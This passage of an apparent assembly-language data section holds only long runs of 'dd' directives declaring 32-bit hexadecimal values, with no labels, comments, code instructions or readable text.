		dd 0F3E0A0F8h, 2460591h, 41F7BC43h, 864E010h, 0EE639701h
		dd 0E2770265h, 3ADD4830h, 0EAAB446Dh, 8A86018Ch, 0F0716908h
		dd 0DF01A718h, 4A179E7Eh, 298C91DCh, 2F59FE6Fh,	0DE311B03h
		dd 9BAED875h, 6D190013h, 0BEA8322Bh, 88A0780Ah,	450612CDh
		dd 5E3849C4h, 0E17E1990h, 8DF31C35h, 18B8B478h,	144176D4h
		dd 600E401Ch, 5AE6F180h, 0A451EB49h, 1E2C3244h,	8BC09F12h
		dd 33D745CCh, 7FF701C3h, 7086EE83h, 6A6030C7h, 0D1CBDA00h
		dd 0B846222Eh, 6FF30EA6h, 0FD6C437Fh, 0D8006669h, 0AC926D35h
		dd 18A9F5C6h, 0C091E444h, 0E502401Eh, 0DCA5C488h, 0CCC4A04Fh
		dd 0E0B2894h, 0CB67D9AEh, 92583B21h, 3412E881h,	56DDF81Ah
		dd 76CF6040h, 1939C9D0h, 0C1A6D084h, 83FC7252h,	0B02C7981h
		dd 0B318B08Ah, 0D42950C5h, 0E838AB4Eh, 0E1CAD2h, 9F723A19h
		dd 0C858D395h, 58835638h, 70BB1464h, 0FD85809Ch, 0B04351BFh
		dd 2E760314h, 0A45415Eh, 0F44D3AC0h, 0B8DF4915h, 0EC7029A8h
		dd 615FBC0Eh, 0D1DA0EC6h, 0B45076F1h, 3E2D0861h, 0FB8BD0FAh
		dd 2780421Ah, 0B33B202Ah, 7DD4E250h, 70CFDBEAh,	86C46957h
		dd 0FD68D9D8h, 0F8524510h, 4E2442F8h, 0BB075CA1h, 44A2A8F5h
		dd 1A8642Fh, 1F349BB2h,	0F8F3574Ah, 0E2441541h,	0DA8F0469h
		dd 85F7A212h, 2CC1264h,	0C61E91B0h, 1F772840h, 12C1B215h
		dd 80BE3D9Ch, 93FDA132h, 1EB699DDh, 944E083h, 34301241h
		dd 5001A1Dh, 2CF6F05Fh,	293E0613h, 19CBF7Ch, 26644BDDh
		dd 0EE08D0E8h, 9E5D248h, 98CC60E3h, 6894A44h, 0D07F5764h
		dd 1502A009h, 69F96AF6h, 76944470h, 322C01B4h, 88DD8A20h
		dd 0E1945C8Ch, 84736402h, 0A05C2FADh, 865D3B8Ch, 0E32E000Ch
		dd 3DBA3914h, 70B02066h, 22703116h, 0D08A0000h,	0B9304062h
		dd 7DDB1C78h, 653BFA0Fh, 0E416602h, 1B2A18ECh, 9B0160E0h
		dd 0B13FBC4h, 20BB7A32h, 0FFB27F00h, 6CB73F06h,	9D088B4Ch
		dd 0A6748501h, 0F02F2FFAh, 8203E0A0h, 490F3D41h, 508118E4h
		dd 0A86E4883h, 0DD8EA602h, 6A13C15Ah, 9A1F41A4h, 1820CDC5h
		dd 0B847E1C6h, 4DC75A40h, 73EF0018h, 11F2C00Fh,	0F7493CE5h
		dd 9C219308h, 0C18C4A7Dh, 26796A30h, 0C185A00h,	238D4BFDh
		dd 62D06C7h, 99938B08h,	0B0EDC02h, 408CC5CFh, 7B13865Ch
		dd 1063E9EFh, 6A037248h, 0A88FFDD5h, 0D30761E8h, 40F92700h
		dd 10083EF7h, 98AC09ECh, 0D8180F8Fh, 3700E3CAh,	270EAD1Ah
		dd 1D3F9C1h, 19627378h,	730390D1h, 0B4060038h, 4B220881h
		dd 0FF540C52h, 0BD494EDCh, 9C48CF01h, 0C442070Eh, 10D03FD1h
		dd 0BEDF0058h, 2E2D817Fh, 0E3015B41h, 8D24640h,	1D7DCABh
		dd 0AAD17941h, 80E62307h, 18D969E4h, 54937394h,	582DB3CBh
		dd 0B922BCD0h, 808C704Ch, 86263091h, 20C7FD3h, 6AD21A42h
		dd 70C4DC41h, 4A5C4500h, 6DB74F13h, 78C90250h, 991A727Ch
		dd 0A76C840h, 6290DFh, 0AAC66154h, 225C6A5Ah, 0D843302Ah
		dd 0E48C0300h, 16FE9F4Bh, 0EC700E0h, 12D01101h,	2C90C4BDh
		dd 88F9DB08h, 0E6D1808Bh, 427DC9B3h, 0F51C8C00h, 28809AF3h
		dd 0A1DA05BBh, 80FD23F9h, 0DC7DC398h, 49191C98h, 6F4192E9h
		dd 8400C822h, 0D19CDF89h, 0B71236BFh, 0F491CB76h, 0D4327096h
		dd 2D544A00h, 0B186E5F6h
		dd 0FB048D12h, 0CDAF5806h, 49A716ACh, 51AC60DEh, 7A2E462Ch
		dd 3824BC55h, 0AC5E09EEh, 8B67702Ch, 100EB00Ah,	9004A0F9h
		dd 488CF617h, 56290024h, 85323635h, 660238F8h, 6FD4E6B4h
		dd 0DBA18197h, 8032DC10h, 0E792AE00h, 0F6248208h, 14EDA602h
		dd 642F8C48h, 73673C10h, 3CEC9F80h, 87DDBBD6h, 944C59F2h
		dd 52CF18B0h, 916F2029h, 58DE802Ch, 2C61497Eh, 0DA5310Eh
		dd 0C337C0FDh, 72CE9447h, 0D4180781h, 0A03968BAh, 0CB5E8A97h
		dd 38B191EEh, 0E94BEBAh, 24B9F9C4h, 5280BE12h, 0A0C5F553h
		dd 0FCADF84h, 51CE4123h, 4CDCD8C2h, 80EE4823h, 7CA56A8Dh
		dd 1222EE63h, 212F26E0h, 0CCAE9028h, 32759E2Ch,	15461200h
		dd 0F7E48B60h, 548275B1h, 6DD48Dh, 693372D9h, 0E216129Eh
		dd 0E71FA700h, 0D3D4E15Bh, 5FB6017Ah, 927694D6h, 0A78B1156h
		dd 0D0774180h, 9EFF2141h, 2A18C30Fh, 0BC4DE7B7h, 0D10C2D7h
		dd 4CD0F8B2h, 100EF460h, 0DD064461h, 6B445082h,	0E3B2870h
		dd 95A539AAh, 1A0400CAh, 0C4923F76h, 10FA1F25h,	758D2Ch
		dd 5084E527h, 0CE9ADD57h, 81076409h, 0A390108Bh, 705200B7h
		dd 818736Eh, 60013FAFh,	498ABA57h, 298F9AEAh, 33A68Dh
		dd 0F85FBFC0h, 0A49C4AA0h, 6AAFBA00h, 29607380h, 80C0DE03h
		dd 74C98384h, 9E00579Ch, 516EB687h, 0B188F8A7h,	0D8C0010h
		dd 0A62DC15Bh, 92AC8005h, 58802C2Fh, 0B07B5134h, 558880FCh
		dd 17899C1h, 0A801FBFCh, 0DC7AE529h, 8E75E793h,	280BC94h
		dd 30D1DF71h, 0DA73886Ah, 44D521Eh, 0F77DE584h,	788D308Ch
		dd 59B05Fh, 49DED7BFh, 0D1F81F62h, 80D473E4h, 48A3BC0h
		dd 0DCD2BD5Eh, 6EC4F0B5h, 0A9320063h, 1C04F872h, 0CA009ECCh
		dd 0F3C059B1h, 7703799Fh, 0AA520AD3h, 0A00A14h,	49289732h
		dd 6A3794CAh, 0FEA08C3Dh, 1C62964h, 0E514D5D4h,	308D7A4Dh
		dd 62EA268h, 0A1670C70h, 30734C00h, 0C4127DEh, 70FA1890h
		dd 19CB8E27h, 0A0474D10h, 0E4229065h, 99108260h, 0C940E114h
		dd 445811A8h, 0D500B9A4h, 0AB4FA2FBh, 1CE780h, 0F8AE2114h
		dd 0C57D69DFh, 7A8B300h, 0EC7E64E6h, 0E57513A0h, 8D48029Bh
		dd 988210AAh, 6C604706h, 0AC9CA87Bh, 74702961h,	360F1C28h
		dd 0A442FE1Ah, 1EE32242h, 7C4355F0h, 500B674h, 84200874h
		dd 283FD46h, 0B55891F3h, 7864C1E0h, 1F003AE0h, 77C63EDEh
		dd 0CF4EFBh, 3872BC90h,	0BE40E797h, 2B69A707h, 591E010h
		dd 70381341h, 431830D3h, 0C600BDA9h, 31CA751Ch,	7B349069h
		dd 0E79502A0h, 857AF30Ch, 37463200h, 0C969658Dh, 63E080E9h
		dd 332ED8A6h, 26006804h, 899749F7h, 5CEF001Bh, 0EEDA1764h
		dd 0B85C7229h, 44112A54h, 26105148h, 6950A7h, 788E3DCDh
		dd 35BE0E6Bh, 0F3810BBFh, 61EBF996h, 5DACFC18h,	16EE5A05h
		dd 0E02388FDh, 0AF80BD22h, 3F8F68B7h, 0D380D802h, 2083948Dh
		dd 3B0553ABh, 7CA87780h, 0D3FB6001h, 1ACC706Dh,	4E890B8h
		dd 207FD1CFh, 5944C07Ah, 0CC0F3F26h, 1FC124F6h,	6A964D8h
		dd 6ADC0C45h, 6981958Bh, 0A2BE2803h, 1E10D948h,	0ADCEA9A8h
		dd 99EEF810h, 5B643200h, 0BA3A023Fh, 1420006Ah,	0CFB2A29Eh
		dd 10286176h, 8B00A0DFh, 67AAEED9h, 1660C17h, 0F7224ACDh
		dd 0D464E234h, 0BD13B48Eh, 46270F6h, 0D36A60F9h, 0A0AC0C9Ch
		dd 3288F756h, 5B1020B0h, 0DA02D775h, 938D17E9h,	0F2E488C4h
		dd 42C1A705h, 688CE606h, 0BFAD38A2h, 0E4ACD700h, 0C485A6BEh
		dd 5DBC9A1Fh, 824D8BBCh, 0F8F09BE0h, 0E83AD8h, 0A13C86C3h
		dd 7870D2EBh, 0E2966912h, 807B1008h, 0F462B38Dh, 0DF26FDA6h
		dd 5A3E3CAEh, 6689820h,	0CE8700A8h, 46B34D13h, 221733B4h
		dd 0C0870CCh, 0AA124065h, 0C0911F7h, 0C4053EB5h, 23B20FBCh
		dd 0F623DA2h, 1C640E41h, 0DC24467Ch, 8B0C406Dh,	0B4198Ch
		dd 567C2484h, 481D5C0Eh, 0B966A18h, 0E941F860h,	7832044h
		dd 482BD7C1h, 2889F304h, 0BB1FC57h, 0C5E1A5D6h,	0A141B587h
		dd 89BAD335h, 98FDBEA8h, 2ED038h, 14254DECh, 0BB97E72Ch
		dd 0F311E500h, 9A88D9DBh, 609300EFh, 2E8F647Fh,	4B120E21h
		dd 0C0378E81h, 0A907E80Ah, 6EC09CB2h, 147F7B25h, 98F3236Ch
		dd 945F3015h, 0A62AEC00h, 0F1210A93h, 0B9067D01h, 968852B3h
		dd 4CB89189h, 0DD5F5981h, 5B3870F8h, 0F3A05200h, 0DE737A7Fh
		dd 80944876h, 5BE67080h, 920C38F7h, 98FC78A6h, 30534048h
		dd 0F28FD096h, 795EA7C7h, 13BD94C0h, 24AE7E83h,	7B0B517h
		dd 0A0754016h, 8264EC09h, 0B02FE72h, 8952D0F3h,	1D04F22Fh
		dd 0C1D58133h, 5D92D1D2h, 0F1126049h, 0CEE05B00h, 8565D968h
		dd 0F56007CDh, 406C797Ah, 8EB640BBh, 4C4E6428h,	7ED86644h
		dd 3AB271Eh, 0B4A9E093h, 0C6BC3037h, 7C914Ch, 735A2251h
		dd 0FF0A0197h, 0B0688C43h, 0C1EA5779h, 0C1812A18h, 80A02CF7h
		dd 64F8D018h, 2749E33h,	494CA6F5h, 6B5214C0h, 91763112h
		dd 0C83B6C93h, 940EF007h, 38C640A8h, 83F1748h, 0E8A30A92h
		dd 4409ECF8h, 847C1030h, 0BF461ED7h, 4582BDC2h,	95762183h
		dd 37859851h, 0F0879D65h, 44DF7871h, 0CFAC8BF8h, 0AFA012B8h
		dd 6FF56167h, 83B3626h,	86F0982Dh, 0B0CE4C90h, 36CAFCC0h
		dd 0F005709h, 7A0C6C9Ah, 44ADD0h, 0ECE05A24h, 85CD4C0Dh
		dd 0C0E88C4Ch, 15DA122Eh, 5AE10044h, 0EFC97F59h, 2D052503h
		dd 0E599921Fh, 4CC49410h, 96D68090h, 8B24D7h, 796072A1h
		dd 0EF0E6BFDh, 55EDF02h, 0E4D34987h, 0A1808D4h,	0CE007342h
		dd 616FFA74h, 4E100EE7h, 78EC13CDh, 97783E59h, 3FC6F900h
		dd 0B30CE833h, 9E26E6C3h, 241A4028h, 0F60F2396h, 672C4187h
		dd 76E2424Eh, 9D87138h,	986B8A21h, 697C9C01h, 4F72B59Ch
		dd 94F8C4ECh, 0EB4D4384h, 0E736B0F0h, 37030A73h, 0D208B163h
		dd 3E178896h, 738E007Ah, 62972F2Dh, 3B7EAD8Ah, 87514090h
		dd 0BB05D4E4h, 0C28088B9h, 31F40BCBh, 90DD7256h, 726218A4h
		dd 857421FFh, 4FBF5A03h, 0C0092351h, 9965DDB7h,	0C7980D4h
		dd 6A91CD96h, 0ACE0810Bh, 97780478h, 25D03088h,	88909C4Fh
		dd 40258A9h, 7FABE7Ch, 0F5809833h, 0B4E85Ch, 9654612Bh
		dd 11F28974h, 3C52D92Ch, 7C325500h, 0A7F87DDh, 4C17418Ch
		dd 402CAEC8h, 0A4ADD5DAh, 115F5C00h, 7835556Fh,	2B0E00C0h
		dd 0F73D1E37h, 0F826CE24h, 0DD40D888h, 1AB526h,	7CC215BDh
		dd 0E36B5583h, 2840754Eh, 79ED2C20h, 0EFA24F5h,	6A8A02C0h
		dd 0D0844408h, 71C140AAh, 7146731Ah, 0D124006Dh, 23027C5Ah
		dd 66FE1380h, 2DF31B00h, 99F81003h, 96C20018h, 0FA170C69h
		dd 0BB03EE36h, 8C91D1C4h, 63F61C59h, 0A1454940h, 170FE4C4h
		dd 677F9E7Bh, 0C530A91h, 51808578h, 704CEF69h, 3965C3Ah
		dd 5428304Ah, 0B500CDADh, 313B9BCEh, 47689A3h, 8B38F2FBh
		dd 0DAB4CCEFh, 0A6EBEC00h, 5E8C8E64h, 4F763FDBh, 12176012h
		dd 4C191EF8h, 0F831512Fh, 0CC34E200h, 0CE49F515h, 0D512161Ah
		dd 0DE8830F7h, 251DB24Ah, 8F3B0DFDh, 5C0184A0h,	4F191C3h
		dd 79CEB89Eh, 40C15AF7h, 0EC227034h, 9F00582Eh,	0FF50A65Dh
		dd 509E65B4h, 1756C0C1h, 0A46F7C5h, 41D40C4Ch, 0D87E49A6h
		dd 710B2011h, 6830A312h, 42BF17Ch, 911743F7h, 910C0FD7h
		dd 90DDEC60h, 50B0E34Fh, 0EB49D012h, 8462FC88h,	0DC104A3Bh
		dd 0F6130FB0h, 0DD4F40BBh, 3208F91h, 25CD2DF2h,	31E676F7h
		dd 7DF01951h, 1C204E2Ch
		dd 5456FFh, 4471CAB5h, 7DC04A1Ch, 101338A9h, 2D41485Eh
		dd 0C900225h, 0B9008FC8h, 0AE78C343h, 656614h, 9FEF391Bh
		dd 0D84AB58Ah, 0FB3914BCh, 39CFA8F2h, 0DBE8C0F6h, 6032158Eh
		dd 635364FAh, 0BEB848D1h, 5498500h, 0E71E5E3Bh,	7FDF03E2h
		dd 0D20F722Eh, 9D6D5000h, 4286394Dh, 24B94C36h,	4BE8EC0h
		dd 3D041AC7h, 887A2023h, 24CD78E0h, 0E1C3FF1h, 5D87CAB0h
		dd 817A74D4h, 244B7594h, 7B00B2E0h, 3A6EC7D8h, 390402BFh
		dd 6B8B7882h, 48800D90h, 0D4FD737Eh, 18403A12h,	0F407FC89h
		dd 41302197h, 4BF8373Dh, 24AC8878h, 0FD94A203h,	0C848648Ch
		dd 0E059168Eh, 6F7F006Ch, 70D8BE14h, 0F7078FF8h, 897A5534h
		dd 94C48485h, 43D104C0h, 7F850072h, 875DD352h, 0B04ABFCFh
		dd 0FAC33037h, 0AB6D8806h, 2DB10133h, 7CEC01E2h, 9433BBh
		dd 243E3DEh, 69928Ch, 1873588Bh, 4D0E250Bh, 5D300618h
		dd 0E8D91051h, 9AAB00AAh, 0FF8F9E27h, 99982CADh, 33A90702h
		dd 4398493Bh, 1DCDA183h, 6A80C838h, 0E84D7AA4h,	0DEAE0602h
		dd 0C488F744h, 0B0ED0020h, 0DDECD070h, 1748DF2Eh, 7E07032Ch
		dd 0F0AA93C6h, 0B028CD46h, 6A807F8h, 40B3E742h,	0EA127845h
		dd 60734B0Fh, 0CC76048Eh, 0AC059CA3h, 0E06A1049h, 32EAF668h
		dd 35462900h, 77508697h, 753029C9h, 0CE1900CCh,	4DD0CB11h
		dd 0DD4E6E00h, 95A62A0Eh, 0E6860789h, 0B29A709Eh, 44ECCF76h
		dd 81D2C616h, 73906800h, 0FF8E97E3h, 0FBE8804Dh, 0EE27026Ch
		dd 0DCEA94BAh, 8C005CF1h, 73A471F7h, 20CF009Ah,	87A6FE0Fh
		dd 4C90DEC8h, 0DC30357Bh, 0C1AD3149h, 17A50110h, 60A856D6h
		dd 0BA45F40Eh, 0B99AE309h, 0A9001030h, 5D31E66h, 0B3F03A0h
		dd 0C7D86B82h, 48BAF43Ah, 0F88CDE02h, 5E935AD0h, 5EE04F48h
		dd 33E347C9h, 0AA638F00h, 82C1DFC0h, 0BA5B043Dh, 8059221Dh
		dd 8FFE8ABCh, 49F80E16h, 83CF0430h, 9A1D0F4Bh, 6F401AECh
		dd 9F044C3Ch, 4AC23100h, 0F25BF873h, 44632EDDh,	176661A4h
		dd 29A3C4F7h, 0DBF00D50h, 0C87B0502h, 61500E88h, 9030FB9Ch
		dd 400B603Dh, 8B084458h, 0EC509640h, 3F810113h,	20FE4D4Bh
		dd 62F020EDh, 614AEE05h, 0C88C84F6h, 0A6D10055h, 9DE7D29h
		dd 3EEA30B6h, 36EE5004h, 7381EF22h, 0E896C66Ch,	3C10146Fh
		dd 23F3A16h, 0DC49367Ch, 0F84F24C4h, 6891B835h,	40F2D225h
		dd 0B89A6B4Ch, 70282E60h, 46E40D4h, 3C073755h, 212F739Bh
		dd 0A6B30B1h, 2C627080h, 608E9AE4h, 580131D7h, 67CA7655h
		dd 0B9396980h, 0EA0E975Ah, 0E8495B0Ch, 0B96F918Eh, 0CB700094h
		dd 81C85DEDh, 2131E400h, 7B3B712Eh, 0A86C15C7h,	0D30F3069h
		dd 7040D47Ah, 8BC30BFDh, 3CD099h, 8EFEB005h, 2A9E29Fh
		dd 9BB374AEh, 0BB6018F6h, 0A24C90F7h, 816D50ECh, 0C02C44Bh
		dd 5E477EA8h, 9C5BE09Ch, 520A0AB3h, 0E8CBC148h,	88FAA705h
		dd 0AA01601Eh, 23FF1820h, 0C878431h, 0A574D7C7h, 29B0C6F9h
		dd 74E8985Ch, 12E27388h, 0E08C8D69h, 5B3AD2C8h,	6D9A0744h
		dd 668045F2h, 6062C671h, 4378A0EAh, 0ED2949B9h,	0BF3BE499h
		dd 938E13F7h, 6DCE38D0h, 0FDC50242h, 0CD76E58Ah, 3E009079h
		dd 0C435949Dh, 134C90ACh, 8FB45h, 77F78ADCh, 335267A8h
		dd 5692280h, 5CB60F09h,	0B247C465h, 2D770000h, 0A6107FEFh
		dd 6C160047h, 0CE756DC8h, 0E04B35Dh, 0FEEE829Ch, 0D9074481h
		dd 0E2005868h, 60C417F0h, 5F7D2A1Dh, 360B7C98h,	101841FAh
		dd 0F216484h, 0F1C5171Ch, 0A444E59Eh, 0F8700297h, 0F68E1018h
		dd 0EC806409h, 1AA00168h, 0B82599D3h, 839E507Ch, 0ED08A082h
		dd 0BBF17EC0h, 618E060Ch, 13F34914h, 30A0772Dh,	95A850Ch
		dd 473BF901h, 6F14EA78h, 12A582D0h, 0E392C7Bh, 0A712D2ACh
		dd 0E8132CF4h, 9200436Ah, 6CB47732h, 4DC130DCh,	4EABC691h
		dd 0E5A18000h, 4407C018h, 238E0BFFh, 0C04E270h,	5BE54652h
		dd 726E2658h, 18340FCh,	20014E0Bh, 0CC5FBFC7h, 0E3EC6651h
		dd 34860E0Ch, 0FE698C74h, 0DE016851h, 0A4F81906h, 1E34DC4h
		dd 45D0B861h, 730F4041h, 23800A04h, 0BF851C87h,	40C02718h
		dd 2ADACBh, 0F3451666h,	12676097h, 85D04D39h, 0A5E749A4h
		dd 0B4F8BCC8h, 90719258h, 78C19A88h, 2764D03h, 0A1F56605h
		dd 4C70B15Bh, 9609169h,	24B2C062h, 458FEC51h, 83AB605Ah
		dd 0E83EE262h, 0AD6332EBh, 0C661340h, 82D760Ah,	0D9349E41h
		dd 0CEFE6C80h, 0A899C1h, 0D93C802Ah, 6B000994h,	2DE8BED2h
		dd 0F1CBCDBh, 7CA96865h, 80FEAA84h, 8ECE0E94h, 34D06F4Bh
		dd 33C7D4h, 0E33F360Ch,	4523A7BBh, 229E991Eh, 66A10F09h
		dd 2A92008Ch, 0F18A9401h, 230558A0h, 0DDC14FB2h, 7F8498E0h
		dd 0C428A76h, 6493D040h, 88450784h, 0C47BDD70h,	4E88A295h
		dd 397AE088h, 4BAED088h, 484200E4h, 2F3B0653h, 8CEAC724h
		dd 9E475E04h, 0E080A0B8h, 0C1EC9592h, 7F491E0Fh, 4A0D31Ah
		dd 0A47C4828h, 0A20750Fh, 0A4E8D2C9h, 870F3917h, 893C5998h
		dd 0F64490E4h, 8FD80791h, 0B9526E8Dh, 0FD00F864h, 87B60143h
		dd 3EDB0E06h, 3B85978Ah, 0C0B881D4h, 0E40258BDh, 9D257A01h
		dd 989AC1FDh, 8468E921h, 0C10C7587h, 8FF395D5h,	557099E8h
		dd 0BF6200C4h, 0A342806Eh, 6CCB0060h, 44B4FD13h, 5D0230D6h
		dd 7856FA21h, 1EC468Ch,	1536856Ah, 0C49A0B48h, 270173A5h
		dd 2E0D3A59h, 0C4798A2Bh, 0EFCA4530h, 78000FDFh, 1C9B7092h
		dd 1B1143Ch, 8FAE11F2h,	0D41716CDh, 0FA16C5F6h,	68902F23h
		dd 78137FECh, 4B703097h, 4A6855B1h, 2C048800h, 0C6529C37h
		dd 0EDEC167Dh, 0EA60306Dh, 4800415Dh, 0CBCFDFAAh, 3954C178h
		dd 43804036h, 0A2A6DE22h, 90288BEh, 0C9C65F61h,	0DA9462F4h
		dd 0C8B94B6Ch, 3400D3ACh, 943F7F3Ch, 4E7189F9h,	29B8C0DEh
		dd 0BC9C0776h, 31040A40h, 0D7660615h, 0FAEA334Dh, 4A2F2000h
		dd 0CE995CADh, 11096FDh, 2C511097h, 6AF3D44Fh, 81D18B00h
		dd 9223A56Fh, 0EB5E00B9h, 0D3D85074h, 4C00595Bh, 8F690A6Dh
		dd 991F34Dh, 31110242h,	184C9878h, 2067CE14h, 2F33B443h
		dd 21380161h, 71256B0Ch, 9A69CC45h, 0FF00A8A6h,	9E38AB7Ch
		dd 1054E8Bh, 6D2BC9EBh,	3F96615Ch, 95183000h, 163968FAh
		dd 0D12FB1F7h, 0E06553C0h, 0FC036EE3h, 0B5959BEAh, 5480B51Dh
		dd 5CF97D39h, 108E4C75h, 16B8401Dh, 1DD4D0C9h, 0B41D113h
		dd 81B79C23h, 49E4120Eh, 904F1638h, 3D7849DEh, 7F0C9CF0h
		dd 0B9711241h, 9E48918Eh, 0ECEB007Eh, 8A42BF72h, 0EEA7A403h
		dd 0D888DDE8h, 24DF0D52h, 402CD076h, 789F86D3h,	6902147Ah
		dd 0A68E9E90h, 0A1CC8551h, 224810A2h, 2CF2C201h, 38384FD0h
		dd 0E168060h, 91FB6D1h,	676412E8h, 9F667500h, 4725369Ch
		dd 0BF4CEEAh, 0E2AA58A9h, 4CD3C0E2h, 0C449828Eh, 74ECFD8Bh
		dd 22FCF72Eh, 996B0158h, 0AC9DB55Dh, 0C677E0F2h, 9896EEh
		dd 5F567D16h, 85B14B0h,	0D41DCF6h, 0B2216940h, 63AA0B12h
		dd 0AC117275h, 241BE47Ah, 35A2C51Fh, 5D449028h,	0CC0F4B69h
		dd 842DF360h, 9C289042h, 0B7E80166h, 219B47D5h,	7461F2E4h
		dd 8320D2D1h, 16D88664h, 124C4E61h, 6B4AF0F4h, 2C27673Ch
		dd 81649816h, 7203D0F2h, 0CD99C160h, 0C4F7A290h, 0A7367C12h
		dd 3828000Dh, 0BC751466h, 0AE844074h, 6C16DA40h, 90C82775h
		dd 4D730172h, 0EAEC5524h, 1A44DC12h, 6005B6E2h,	0B0CA9B93h
		dd 7CA1A0C2h, 0BDF484Ch
		dd 0CB840390h, 814883D2h, 0E313FDB0h, 87D80750h, 0E98A6401h
		dd 889E9DC3h, 0BF98472Ah, 25BA3027h, 350E650Bh,	978FD4h
		dd 665A6793h, 987F5C8Dh, 21C92EC0h, 0A1885730h,	3E930009h
		dd 64C28979h, 7100DEFAh, 0ADFE4446h, 1F57BE5Eh,	403D4BE0h
		dd 0F57BCDB1h, 0D6172D64h, 54D3DC38h, 1B1C8890h, 20D83B5Fh
		dd 0D1CE018Bh, 0B654D0Eh, 0A5088079h, 2032164h,	0DC407B09h
		dd 0FC56C04Bh, 9CD001BBh, 0C8BF53D3h, 0F2EB419Eh, 781A712Dh
		dd 8A029C34h, 7E4B2690h, 6C834044h, 0E613A5B2h,	2CB273FFh
		dd 5C97E500h, 65A44710h, 0B1187D09h, 0D1F309E8h, 30F9D208h
		dd 8214FA00h, 0B0C2EA8h, 3F4BA37Dh, 5EE3D580h, 3301857Fh
		dd 0DF77C122h, 0BCC8886Ah, 0C2F74A52h, 5CD107C8h, 0F49E803Fh
		dd 0F332B0Bh, 193171Ch,	0CCA4157Bh, 877A58C0h, 0DCFC6AD3h
		dd 76F44604h, 77405392h, 7882A6A8h, 4FCE758h, 0F8ADE1F1h
		dd 1E8088Ch, 8A4FE5B0h,	6F404649h, 5FB10C20h, 0C247004Dh
		dd 7D3F723Ah, 0C009A646h, 1840217Fh, 12D56FC0h,	141B71h
		dd 0F8CF2B18h, 314A0C78h, 2FD484C1h, 1200803Dh,	0C7399B52h
		dd 0CE122490h, 0E0881444h, 0AA750013h, 74656D8Ch, 20B8C86Eh
		dd 0A7CFA604h, 4C8C648Eh, 0CB190038h, 5323AF8h,	0F32A6E8h
		dd 0E41A70ABh, 0A52C88E0h, 0E854007Ch, 43310AA3h, 8E19D44Fh
		dd 0A2A0896Eh, 0C380E86Ch, 33DC8B65h, 0B2FE700h, 0F273EB52h
		dd 0ED153838h, 8142701Dh, 76BB1113h, 12E07697h,	2C08A2E6h
		dd 0F00180FAh, 2C8A0DDh, 0E6BC5C0Eh, 8EE8A0ACh,	38DE25CDh
		dd 428006B1h, 819AA451h, 0FC2F67D0h, 49C8A275h,	0B0AEE3C3h
		dd 40E2A3h, 536FB912h, 0E3CD710h, 0C1083E4Ch, 7BAF7C06h
		dd 0C1FEAEC5h, 48380FE0h, 5040CD84h, 4317C0FCh,	210EDC4h
		dd 51D34111h, 0FCD6FA0Eh, 40A28212h, 35C70079h,	3958549Ah
		dd 0EA00C26Eh, 2C727905h, 0C5E5B8h, 18378727h, 0F89ADDDCh
		dd 634024B4h, 0F84CE02Dh, 6FF00F4h, 0D2B18839h,	0BCA01CD7h
		dd 14C0FB7h, 30FDC10Ch,	0ACF18DBFh, 22D2CF8h, 2F2B22EBh
		dd 0F44060DDh, 68EF9811h, 80FC8928h, 0B337E171h, 0E32D0112h
		dd 0A0286B92h, 0E954619Dh, 1C206FDFh, 0A8D222h,	48919B9Eh
		dd 0DD9C6F0Ah, 15C31007h, 45B1FE7h, 6480E3B7h, 0E8F2CA32h
		dd 97E2D8h, 267B0B7Dh, 0A5884296h, 7ACC3907h, 0E4C5401Dh
		dd 0CDADB440h, 0E74175h, 64F92413h, 1F480385h, 688A4027h
		dd 0F42D5F0h, 7C803FD3h, 8B6C0420h, 0B905D8D9h,	17419489h
		dd 0ED00D0E2h, 59284EC4h, 9F098FBCh, 5158E545h,	271CA418h
		dd 7A6D3C81h, 1F620C57h, 492D8D40h, 1F091CB2h, 9676AC90h
		dd 0C4129Dh, 0B012A818h, 0EA3F12D5h, 0D2C8C824h, 0E75CAC0Ah
		dd 0C405F210h, 948057D5h, 23B4B078h, 93911541h,	0FEE1007Eh
		dd 89900CD3h, 974E5FDDh, 516E1CC1h, 130E1070h, 0B0A337E2h
		dd 0C148557Ch, 0D14B8004h, 0BE1B11h, 0C7E6A694h, 0EEF7FDA9h
		dd 57485F13h, 2BD4CC30h, 59FA009Ah, 6A1E24DFh, 0C8FE6ECDh
		dd 0E3ADED01h, 0FEB1F870h, 908B034h, 0FABA57D0h, 78BEFC06h
		dd 4CC15811h, 70CAA800h, 0E42CA6C3h, 9F96D33Ah,	8581D678h
		dd 0EB49B154h, 0F680402Bh, 72D517Ah, 0A74A3A18h, 0BB4190D8h
		dd 8857001Ch, 0EC4B11AAh, 1C061D00h, 9BE7953Eh,	389742Ch
		dd 7873AE27h, 25F91BD7h, 8E2AFCFFh, 0C763C67Ah,	0EE3438h
		dd 0F47B7C41h, 84414672h, 0D424CA00h, 25917702h, 4E50109h
		dd 0BA47C60Fh, 0E2308418h, 80BFEB06h, 0DC3430D9h, 266149C0h
		dd 1F7B99D8h, 0FBA0DBB0h, 170C55BDh, 11384539h,	3C0792FAh
		dd 88BABE66h, 29260B80h, 0CCB30361h, 3D5396D8h,	6900EBEBh
		dd 55F00ADFh, 26D756h, 6C878242h, 597B0DABh, 0CA79E260h
		dd 0DEEF7A39h, 0B7A18010h, 0A2A37332h, 4744191Dh, 0A70004E6h
		dd 342A8352h, 2F39C0D5h, 2468C22h, 82AF711Dh, 444059DCh
		dd 6F24BEF8h, 0B6A70EBFh, 78EC29CFh, 541D6261h,	0DD00E752h
		dd 9A369553h, 0A9AB3C64h, 6EB33400h, 0E0924082h, 54C69800h
		dd 0F6834DC9h, 0BA5C18A3h, 0E9CED907h, 0C500A6F6h, 48841C05h
		dd 0AA6F46h, 388694BAh,	7004F292h, 0FF61B918h, 0F5263E9h
		dd 0D6F18DC1h, 0E06DC207h, 94170B98h, 0BAEB6B00h, 6F53EA85h
		dd 60D47EBBh, 0CB0739D6h, 76009AE5h, 0B235B07Ah, 299973Dh
		dd 0C15ED7EBh, 88A0D937h, 46212C04h, 1D892700h,	0C98BFD30h
		dd 0DCBB0BAEh, 9B80D2FFh, 0A5A00569h, 91A1CA01h, 0F1375782h
		dd 0D1764180h, 68151924h, 950042E8h, 29897164h,	1F5EC033h
		dd 41016CFFh, 3CB29C3Dh, 0C4AC4C68h, 0E400AB7Eh, 38C2F382h
		dd 87B959h, 0EF71E3EBh,	0D7755623h, 24479D24h, 0CF612580h
		dd 6034AB82h, 1E1C81F2h, 590142E0h, 2055BC12h, 0ACF0E28Bh
		dd 7BC60FC3h, 0E07C72CFh, 5EA28304h, 0A1407E24h, 0F3284182h
